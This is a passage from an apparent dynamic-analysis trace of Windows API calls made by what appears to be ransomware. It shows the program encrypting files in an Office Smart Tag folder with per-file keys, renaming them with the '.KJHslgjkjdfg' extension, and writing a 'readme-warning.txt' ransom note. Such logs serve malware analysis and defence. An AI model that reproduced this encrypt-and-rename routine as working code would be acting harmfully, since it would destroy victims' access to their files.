ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0167.698] GetProcessHeap () returned 0x990000 [0167.698] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9f9760 [0167.698] GetProcessHeap () returned 0x990000 [0167.698] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8c) returned 0x9b2468 [0167.698] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0167.700] GetProcessHeap () returned 0x990000 [0167.700] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0167.700] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.700] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0167.700] GetProcessHeap () returned 0x990000 [0167.700] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28e) returned 0x9f99f0 [0167.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0167.700] GetProcessHeap () returned 0x990000 [0167.700] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0167.700] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0167.700] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0167.700] WriteFile (in: hFile=0x118, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0167.701] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0167.701] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.701] GetProcessHeap () returned 0x990000 [0167.701] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0167.702] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0167.702] CryptDestroyKey (hKey=0x9b6668) returned 1 [0167.702] WriteFile (in: hFile=0x118, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0167.702] WriteFile (in: hFile=0x118, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0167.702] WriteFile (in: hFile=0x118, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0167.702] WriteFile (in: hFile=0x118, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0167.702] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0167.702] WriteFile (in: hFile=0x118, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0167.702] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0167.702] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.702] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.702] ReadFile (in: hFile=0x118, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2cc7, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x2cc7, lpOverlapped=0x0) returned 1 [0167.703] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2cd0, dwBufLen=0x2cd0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2cd0) returned 1 [0167.703] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.703] WriteFile (in: hFile=0x118, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x2cd0, lpOverlapped=0x0) returned 1 [0167.703] CryptDestroyKey (hKey=0x9b6668) returned 1 [0167.703] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.703] SetEndOfFile (hFile=0x118) returned 1 [0167.704] GetProcessHeap () returned 0x990000 [0167.704] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0167.704] GetProcessHeap () returned 0x990000 [0167.704] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0167.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.kjhslgjkjdfg")) returned 1 [0167.704] CloseHandle (hObject=0x118) returned 1 [0167.706] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0167.706] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1 [0167.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0167.707] GetProcessHeap () returned 0x990000 [0167.707] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0167.708] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0167.708] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0167.708] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0167.708] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.708] GetProcessHeap () returned 0x990000 [0167.708] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0167.708] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0167.708] CryptDestroyKey (hKey=0x9b6668) returned 1 [0167.708] WriteFile (in: hFile=0x118, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0167.710] WriteFile (in: hFile=0x118, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0167.710] WriteFile (in: hFile=0x118, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0167.710] WriteFile (in: hFile=0x118, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0167.710] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0167.710] WriteFile (in: hFile=0x118, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0167.710] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0167.710] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.710] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.710] ReadFile (in: hFile=0x118, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3580, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x3580, lpOverlapped=0x0) returned 1 [0167.723] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x3580, dwBufLen=0x3580 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x3580) returned 1 [0167.723] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.723] WriteFile (in: hFile=0x118, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x3580, lpOverlapped=0x0) returned 1 [0167.723] CryptDestroyKey (hKey=0x9b6668) returned 1 [0167.723] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x3654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.723] SetEndOfFile (hFile=0x118) returned 1 [0167.726] GetProcessHeap () returned 0x990000 [0167.726] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0167.726] GetProcessHeap () returned 0x990000 [0167.726] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0167.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.kjhslgjkjdfg")) returned 1 [0167.726] CloseHandle (hObject=0x118) returned 1 [0167.745] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0 [0167.745] GetProcessHeap () returned 0x990000 [0167.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0167.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0167.746] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0167.746] CryptDestroyKey (hKey=0x9b6668) returned 1 [0167.746] GetProcessHeap () returned 0x990000 [0167.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0167.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0167.746] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0167.746] CryptDestroyKey (hKey=0x9b6668) returned 1 [0167.746] GetProcessHeap () returned 0x990000 [0167.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b78c0 [0167.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0167.746] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b78c0, pdwDataLen=0x29dee20 | out: pbData=0x9b78c0, pdwDataLen=0x29dee20) returned 1 [0167.746] CryptDestroyKey (hKey=0x9b6668) returned 1 [0167.746] GetProcessHeap () returned 0x990000 [0167.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0167.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0167.746] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0167.746] CryptDestroyKey (hKey=0x9b6668) returned 1 [0167.746] GetProcessHeap () returned 0x990000 [0167.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0167.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0167.746] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0167.746] CryptDestroyKey (hKey=0x9b6668) returned 1 [0167.746] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x118) returned 0x0 [0167.747] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0167.747] RegCloseKey (hKey=0x118) returned 0x0 [0167.747] GetProcessHeap () returned 0x990000 [0167.747] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0167.747] GetProcessHeap () returned 0x990000 [0167.747] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0167.747] GetProcessHeap () returned 0x990000 [0167.747] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0167.747] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0167.747] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0167.747] CryptDestroyKey (hKey=0x9b6668) returned 1 [0167.747] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0167.747] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0167.747] GetProcessHeap () returned 0x990000 [0167.747] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0167.747] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0167.747] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0167.747] GetProcessHeap () returned 0x990000 [0167.747] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7c88 [0167.748] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\readme-warning.txt") returned 80 [0167.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0167.750] WriteFile (in: hFile=0x118, lpBuffer=0x9b7c88*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b7c88*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0167.754] CloseHandle (hObject=0x118) returned 1 [0167.755] GetProcessHeap () returned 0x990000 [0167.755] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0167.755] GetProcessHeap () returned 0x990000 [0167.755] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7c88 | out: hHeap=0x990000) returned 1 [0167.755] GetProcessHeap () returned 0x990000 [0167.755] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0167.755] GetProcessHeap () returned 0x990000 [0167.755] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0167.755] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0167.755] GetProcessHeap () returned 0x990000 [0167.755] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0167.755] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0167.755] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0167.755] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0167.755] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0167.755] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0167.756] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0167.756] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, 